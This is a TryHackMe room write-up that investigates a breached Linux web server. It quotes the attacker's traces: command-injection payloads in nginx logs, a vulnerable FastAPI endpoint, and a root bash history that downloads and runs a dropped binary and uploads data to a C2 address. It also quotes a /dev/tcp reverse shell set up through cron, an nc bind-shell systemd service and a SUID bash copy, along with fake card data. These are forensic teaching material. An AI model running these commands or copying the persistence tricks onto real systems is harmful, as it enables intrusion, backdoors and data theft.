APIWizards Breach Write-up - TryHackMe
Investigating a compromised Linux machine.
APIWizards Breach is an investigation room on TryHackMe. It’s all about deep analysis of a Linux machine that has been compromised.
Initial Access
We host our applications in home user directories and serve them via Nginx. This time, we deployed a simple API to get the date and time by specifying a timezone. Is there anything strange going on?
Question 1
Which programming language is a web application written in?
After logging into the machine via SSH, it can be seen that the application is written in Python.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
dev@prod-web-003:~$ ls -lah
total 40K
drwxr-x--- 6 dev dev 4.0K Jul 30 2023 .
drwxr-xr-x 4 root root 4.0K Jul 30 2023 ..
drwxrwxr-x 4 dev dev 4.0K Jul 29 2023 apiservice
-rw------- 1 dev dev 189 Jul 30 2023 .bash_history
-rw-r--r-- 1 dev dev 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 dev dev 3.8K Jul 29 2023 .bashrc
drwx------ 3 dev dev 4.0K Jul 29 2023 .cache
drwxrwxr-x 5 dev dev 4.0K Jul 29 2023 .local
-rw-r--r-- 1 dev dev 807 Jan 6 2022 .profile
drwx------ 2 dev dev 4.0K Jul 28 2023 .ssh
-rw-r--r-- 1 dev dev 0 Jul 29 2023 .sudo_as_admin_successful
dev@prod-web-003:~$ cd apiservice/
dev@prod-web-003:~/apiservice$ ls -lah
total 20K
drwxrwxr-x 4 dev dev 4.0K Jul 29 2023 .
drwxr-x--- 6 dev dev 4.0K Jul 30 2023 ..
-rw-rw-r-- 1 dev dev 240 Jul 29 2023 main.py
drwxrwxr-x 2 dev dev 4.0K Jul 29 2023 __pycache__
drwxrwxr-x 3 dev dev 4.0K Jul 29 2023 src
Answer: Python
Question 2
Which programming language is a web application written in?
Since the web application is served via Nginx, the access logs can be found in /var/log/nginx/.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
dev@prod-web-003:/var/log$ cd nginx/
dev@prod-web-003:/var/log/nginx$ ls
access.log access.log.1 error.log error.log.1
dev@prod-web-003:/var/log/nginx$ nano access.log
dev@prod-web-003:/var/log/nginx$ nano access.log.1
dev@prod-web-003:/var/log/nginx$ tail access.log.1
149.34.244.142 - - [30/Jul/2023:16:13:25 +0000] "GET /api/time HTTP/1.1" 200 65 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
149.34.244.142 - - [30/Jul/2023:16:13:32 +0000] "GET /api/time?tz=test HTTP/1.1" 200 66 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
149.34.244.142 - - [30/Jul/2023:16:14:26 +0000] "GET /api/time?tz=%22%20whoami%20%23 HTTP/1.1" 200 57 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
149.34.244.142 - - [30/Jul/2023:16:14:36 +0000] "GET /api/time?tz=%22%20pwd%20%23 HTTP/1.1" 200 71 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
149.34.244.142 - - [30/Jul/2023:16:14:40 +0000] "GET /api/time?tz=%22%20id%20%23 HTTP/1.1" 200 149 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
149.34.244.142 - - [30/Jul/2023:16:16:02 +0000] "GET /api/time?tz=%22%20which%20ssh%20%23 HTTP/1.1" 200 69 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
149.34.244.142 - - [30/Jul/2023:16:16:26 +0000] "GET /api/time?tz=%22%3B%20mkdir%20%2Fhome%2Fdev%2F%2Essh%20%26%26%20chmod%20700%20%2Fhome%2Fdev%2F%2Essh%20%23 HTTP/1.1" 200 97 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
149.34.244.142 - - [30/Jul/2023:16:16:29 +0000] "GET /api/time?tz=%22%3B%20mkdir%20%2Fhome%2Fdev%2F%2Essh%20%26%26%20chmod%20700%20%2Fhome%2Fdev%2F%2Essh%20%23 HTTP/1.1" 200 97 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
149.34.244.142 - - [30/Jul/2023:16:17:45 +0000] "GET /api/time?tz=%22%3B%20echo%20%22ssh%2Ded25519%20AAAAC3NzaC1lZDI1NTE5AAAAICA2iX8BUH3ySq42MSFp%2FHdNbiEFl5Eagg%2FQIyBg5NdP%22%20%3E%3E%20%2Fhome%2Fdev%2F%2Essh%2Fauthorized%5Fkeys%20%23 HTTP/1.1" 200 172 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
149.34.244.142 - - [30/Jul/2023:16:21:29 +0000] "GET /api/time?tz=%22%3B%20echo%20%22ssh%2Ded25519%20AAAAC3NzaC1lZDI1NTE5AAAAICA2iX8BUH3ySq42MSFp%2FHdNbiEFl5Eagg%2FQIyBg5NdP%22%20%3E%3E%20%2Fhome%2Fdev%2F%2Essh%2Fauthorized%5Fkeys%20%23 HTTP/1.1" 200 172 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
The attacker’s IP address has been logged.
Answer: 149.34.244.142
Question 3
Which vulnerability was found and exploited in the API service?
Given the attacker’s payloads in the access logs, he exploited the Command Injection vulnerability in the API service.
Additionally, it can be verified by checking the source code of the API service.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import subprocess
from fastapi import APIRouter
api = APIRouter(prefix="/api")
def execute(cmd):
proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)
out, _ = proc.communicate()
return out.decode().strip()
@api.get("/")
async def root():
# TODO add documentation
return {}
@api.get("/zone")
async def zone():
cmd = "timedatectl list-timezones"
out = execute(cmd)
out = out.split("\n")
return {"status": "ok", "timezones": out}
@api.get("/time")
async def time(tz: str = "UTC"):
cmd = 'TZ="{}" date +"%Y-%m-%d %H:%M:%S"'
cmd = cmd.format(tz)
out = execute(cmd)
return {"status": "ok", "timezone": tz, "datetime": out}
Answer: OS Command Injection
Question 4
Which file contained the credentials used to privesc to root?
Within the application’s directory, there is a file named src/config.py that contains the root password.
1
2
3
4
5
6
7
8
dev@prod-web-003:~/apiservice/src$ cat config.py
class config:
API_HOST = "0.0.0.0"
API_PORT = 8081
# TODO: Implement some authentication
# API_USER = "dev"
# API_PASS = "d3v-p455w0rd"
Answer: /home/dev/apiservice/src/config.py
Question 5
What file did the hacker drop and execute to persist on the server?
The attacker has escalated his privileges and dropped a file to persist on the server. The filename can be determined by checking the bash history of root.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
root@prod-web-003:~# cat .bash_history
cd /tmp/
wget https://transfer.sh/2tttL9HJLG/rooter2
file rooter2
chmod +x rooter2 && ./rooter2
cd /root/
ls -la
cat .ssh/authorized_keys
ll .ssh/
curl --upload-file .dump.json http://5.230.66.147/me7d6bd4beh4ura8/upload
nc -zv 192.168.0.22 22
nc -zv 192.168.0.22 1024-10000 2>&1 | grep -v failed
curl -v 192.168.0.22:8080
wget 192.168.0.22:8080/cde-backup.csv
>/var/log/wtmp
>/var/log/btmp
lastlog --clear --user root
lastlog --clear --user dev
mv cde-backup.csv .review.csv
systemctl status nginx
systemctl status apiservice
curl localhost
systemctl status apiservice
exit
As seen in the bash history, the malicious file is named rooter2.
Answer: /tmp/rooter2
Question 6
Which service was used to host the “rooter2” malware?
The attacker used transfer.sh to download the malicious file. transfer.sh is a free and open-source file sharing service.
Answer: transfer.sh
Further Actions
“No way it was so easy to exploit! While we are calling the developer, please check if there are any backdoors left by the hackers. They were extremely clever the previous two times, so be vigilant!”
Question 1
Which two system files were infected to achieve cron persistence?
The attacker has created a cron job to persist on the system.
1
2
3
4
5
6
7
8
9
10
11
root@prod-web-003:~# cat /etc/crontab
[...]
SHELL=/bin/sh
[...]
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
20 4 * * * root eval $SYSTEMUPDATE
The cron job executes the SYSTEMUPDATE variable. It’s set in the /etc/environment file as shown below.
1
2
3
root@prod-web-003:~# cat /etc/environment
PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin"
SYSTEMUPDATE=/bin/bash -c '/bin/bash -i >& /dev/tcp/5.230.66.147/1337 0>&1'
Answer: /etc/crontab, /etc/environment
Question 2
What is the C2 server IP address of the malicious actor?
In the bash history of root, the attacker’s IP address can be found.
1
2
3
4
5
6
7
8
9
10
root@prod-web-003:~# cat .bash_history
cd /tmp/
wget https://transfer.sh/2tttL9HJLG/rooter2
file rooter2
chmod +x rooter2 && ./rooter2
cd /root/
ls -la
cat .ssh/authorized_keys
ll .ssh/
curl --upload-file .dump.json http://5.230.66.147/me7d6bd4beh4ura8/upload
Answer: 5.230.66.147
Question 3
What port is the backdoored bind bash shell listening at?
The port can be found when checking the running processes.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
dev@prod-web-003:/var/log$ ps -aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.9 0.5 100848 11620 ? Ss 17:32 0:03 /sbin/init
[...]
dev 558 0.4 2.6 1105000 53232 ? Ss 17:32 0:01 python3 main.py
root 560 0.0 0.0 6892 1244 ? Ss 17:32 0:00 /usr/sbin/cron -f -P
message+ 562 0.0 0.2 8764 5008 ? Ss 17:32 0:00 @dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --s
root 568 0.0 0.9 32652 19080 ? Ss 17:32 0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
root 571 0.0 0.4 236280 9228 ? Ssl 17:32 0:00 /usr/libexec/polkitd --no-debug
syslog 573 0.0 0.2 222400 5524 ? Ssl 17:32 0:00 /usr/sbin/rsyslogd -n -iNONE
root 575 0.7 2.0 727884 40160 ? Ssl 17:32 0:02 /usr/lib/snapd/snapd
root 577 0.0 0.1 7368 3444 ? Ss 17:32 0:00 /bin/bash -c mkfifo /tmp/s; cat /tmp/s | /bin/bash 2>&1 | nc -l $((1786*2+6)) >/tmp/s
root 584 0.0 0.0 7368 1428 ? S 17:32 0:00 /bin/bash
root 585 0.0 0.0 3532 1212 ? S 17:32 0:00 nc -l 3578
Answer: 3578
Question 4
How does the bind shell persist across reboots?
When grepping for the command executed by the bind shell, it can be seen that it’s a part of systemd service.
1
2
3
root@prod-web-003:~# grep -R "nc -l" /
/etc/systemd/system/multi-user.target.wants/socket.service:| nc -l $((1786*2+6)) >/tmp/s; rm /tmp/s'
/etc/systemd/system/socket.service:| nc -l $((1786*2+6)) >/tmp/s; rm /tmp/s'
Answer: systemd service
Question 5
What is the absolute path of the malicious service?
The absolute path of the malicious service is revealed in the output of the previous command.
Answer: /etc/systemd/system/socket.service
Even More Persistence
“We finally reached the developer and he said he would need two weeks to fix the vulnerability! Meanwhile, can you please proceed with the DFIR? We need every malicious indicator you can find to hunt for them on other APIWizards servers.”
Question 1
Which port is blocked on the victim’s firewall?
This information can be found by checking the firewall rules
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@prod-web-003:/lib/systemd/system# iptables -L -n -v
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
0 0 ACCEPT tcp -- * * 5.230.66.147 0.0.0.0/0
0 0 DROP tcp -- * * 0.0.0.0/0 0.0.0.0/0 tcp dpt:3578
0 0 ACCEPT tcp -- * * 5.230.66.147 0.0.0.0/0
0 0 DROP tcp -- * * 0.0.0.0/0 0.0.0.0/0 tcp dpt:3578
Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
3 180 ACCEPT tcp -- * * 0.0.0.0/0 5.230.66.147
3 180 ACCEPT tcp -- * * 0.0.0.0/0 5.230.66.147
Answer: 3578
Question 2
How do the firewall rules persist across reboots?
In the .bashrc file of root, the command to persist the firewall rules can be found.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
root@prod-web-003:~# cat .bashrc
# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples
# If not running interactively, don't do anything
[ -z "$PS1" ] && return
# don't put duplicate lines in the history. See bash(1) for more options
# ... or force ignoredups and ignorespace
HISTCONTROL=ignoredups:ignorespace
[...]
shopt -s histappend
PROMPT_COMMAND="history -a;$PROMPT_COMMAND"
iptables -I OUTPUT 1 -p tcp -d 5.230.66.147 -j ACCEPT
iptables -I INPUT 1 -p tcp -s 5.230.66.147 -j ACCEPT
iptables -I INPUT 2 -p tcp -s 0.0.0.0/0 --dport 3578 -j DROP
curl -m 5 http://5.230.66.147/me7d6bd4beh4ura8/fix
Answer: /root/.bashrc
Question 3
How is the backdoored local Linux user named?
The backdoored local Linux user can be found in the /etc/passwd file.
1
2
3
4
root@prod-web-003:~# cat /etc/passwd | grep "/bin/bash"
root:x:0:0:root:/root:/bin/bash
dev:x:1000:1000:dev:/home/dev:/bin/bash
support:x:1001:1001:,,,:/home/support:/bin/bash
Answer: support
Question 4
Which privileged group was assigned to the user?
The groups command can be used to check the groups of the user.
1
2
root@prod-web-003:~# groups support
support : support sudo
Answer: sudo
Question 5
What is the strange word on one of the backdoored SSH keys?
The backdoored SSH keys can be found in the .ssh directory of root.
1
2
-rw------- 1 root root 87 Jul 30 2023 /root/.ssh/authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPllf3AGMrW5GhvcX7eq2vbCIxElU3Ef/HRm5ZwLVbKj ntsvc
ntsvc is the strange word.
Answer: ntsvc
Question 6
Can you spot and name one more popular persistence method?
The SUID binary is one of the popular persistence methods. Find the SUID binary in the system.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
root@prod-web-003:/usr/bin# find / -perm -u=s -type f 2>/dev/null
[...]
/usr/bin/fusermount3
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/chsh
/usr/bin/mount
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/clamav
/usr/bin/pkexec
/usr/bin/umount
/usr/libexec/polkit-agent-helper-1
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
Answer: SUID binary
Question 7
What are the original and the backdoored binaries from question 6?
In the previous command, the suspicious SUID binary was clamav. By running the file command on the binary, it can be determined if it’s backdoored.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
/usr/bin/clamav: setuid, setgid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=33a5554034feb2af38e8c75872058883b2988bc5, for GNU/Linux 3.2.0, stripped
root@prod-web-003:/usr/bin# ll /usr/bin/clamav
-rwsr-sr-x 1 root root 1396520 Jan 6 2022 /usr/bin/clamav*
root@prod-web-003:/usr/bin# /usr/bin/clamav --help
GNU bash, version 5.1.16(1)-release-(x86_64-pc-linux-gnu)
Usage: /usr/bin/clamav [GNU long option] [option] ...
/usr/bin/clamav [GNU long option] [option] script-file ...
GNU long options:
--debug
--debugger
--dump-po-strings
--dump-strings
--help
--init-file
--login
--noediting
--noprofile
--norc
--posix
--pretty-print
--rcfile
--restricted
--verbose
--version
Shell options:
-ilrsD or -c command or -O shopt_option (invocation only)
-abefhkmnptuvxBCHP or -o option
Type `/usr/bin/clamav -c "help set"' for more information about shell options.
Type `/usr/bin/clamav -c help' for more information about shell builtin commands.
Use the `bashbug' command to report bugs.
bash home page: <http://www.gnu.org/software/bash>
General help using GNU software: <http://www.gnu.org/gethelp/>
It’s clear that the clamav binary is the clone of the bash shell.
Answer: /usr/bin/bash, /usr/bin/clamav
Question 8
What technique was used to hide the backdoor creation date?
Timestomping is the technique used to manipulate the timestamps of files.
Answer: Timestomping
Final Target
“That’s a lot of persistence! But why would the hackers reveal all their techniques? Maybe to use the server as an entry point to our cardholder data environment? Please check for any traces of lateral movement or data exfiltration; perhaps dumps are still there.”
Question 1
What file was dropped which contained gathered victim information?
Take a look at the root’s bash history again.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@prod-web-003:~# cat .bash_history
cd /tmp/
wget https://transfer.sh/2tttL9HJLG/rooter2
file rooter2
chmod +x rooter2 && ./rooter2
cd /root/
ls -la
cat .ssh/authorized_keys
ll .ssh/
curl --upload-file .dump.json http://5.230.66.147/me7d6bd4beh4ura8/upload
nc -zv 192.168.0.22 22
nc -zv 192.168.0.22 1024-10000 2>&1 | grep -v failed
curl -v 192.168.0.22:8080
wget 192.168.0.22:8080/cde-backup.csv
[...]
The attacker has exfiltrated the .dump.json file.
Answer: /root/.dump.json
Question 2
According to the dropped dump, what is the server’s kernel version?
The content of .dump.json:
1
2
root@prod-web-003:~# cat .dump.json
{"C0":"ODguMTU2LjEzMi42Nw==","C1":"cHJvZC13ZWItMDAzOjoyMDIzLTA3LTMwIDE2OjAzOjI2Ojo1LjE1LjAtNzgtZ2VuZXJpYzo6VWJ1bnR1IDIyLjA0LjIgTFRTOjpzc2gtMjI=","C2":"MTkyLjE2OC4wLjIxOjIyOjoxOTIuMTY4LjAuMjE6ODA6OjE5Mi4xNjguMC4yMjoyMg=="}
Decoding the base64 encoded strings:
1
2
3
88.156.132.67
prod-web-003::2023-07-30 16:03:26::5.15.0-78-generic::Ubuntu 22.04.2 LTS::ssh-22
192.168.0.21:22::192.168.0.21:80::192.168.0.22:22
The kernel version is 5.15.0-78-generic.
Answer: 5.15.0-78-generic
Question 3
Which active internal IPs were found by the “rooter2” network scan?
From the previous output, the internal IPs can be found.
1
192.168.0.21:22::192.168.0.21:80::192.168.0.22:22
Answer: 192.168.0.21,192.168.0.22
Question 4
How did the hacker find an exposed HTTP index on another internal IP?
The attacker scanned the internal IPs for open ports using one of the LOTL techniques. It can be seen in the root’s bash history.
1
2
3
4
root@prod-web-003:~# cat .bash_history
nc -zv 192.168.0.22 22
nc -zv 192.168.0.22 1024-10000 2>&1 | grep -v failed
[...]
Answer: nc -zv 192.168.0.22 22 nc -zv 192.168.0.22 1024-10000 2>&1 | grep -v failed
Question 5
What command was used to exfiltrate the CDE database from the internal IP?
Again, the command can be found in the root’s bash history.
1
2
3
root@prod-web-003:~# cat .bash_history
[...]
wget 192.168.0.22:8080/cde-backup.csv
Answer: wget 192.168.0.22:8080/cde-backup.csv
Question 6
What is the most secret and precious string stored in the exfiltrated database?
It’s time to check the contents of the cde-backup.csv file.
1
2
3
4
5
6
7
8
9
10
11
root@prod-web-003:~# cat .review.csv | head -n 10
name,email,savedcard
-,-,pwned{v3ry-secur3-cardh0ld3r-data-environm3nt}
Nolan Stanton,[email protected],5352 8841 6967 2533
Adrienne Clark,[email protected],5456 8428 8247 1455
Amaya Richmond,[email protected],5338 6565 4623 7944
Camille Gilbert,[email protected],5318 8381 6714 8386
Melvin Richards,[email protected],5145 8258 4368 8553
Aquila Chavez,[email protected],5462 9878 9566 4232
Alexandra Holman,[email protected],5359 1249 7733 9980
Cleo Harrell,[email protected],5288 6661 3421 3264
The wanted string is at the top of the file.
Answer: pwned{v3ry-secur3-cardh0ld3r-data-environm3nt}
Conclusion
The APIWizards Breach room on TryHackMe is a great room to apply DFIR techniques including identifying vulnerabilities, analyzing logs and investigating the persistence methods of an attacker.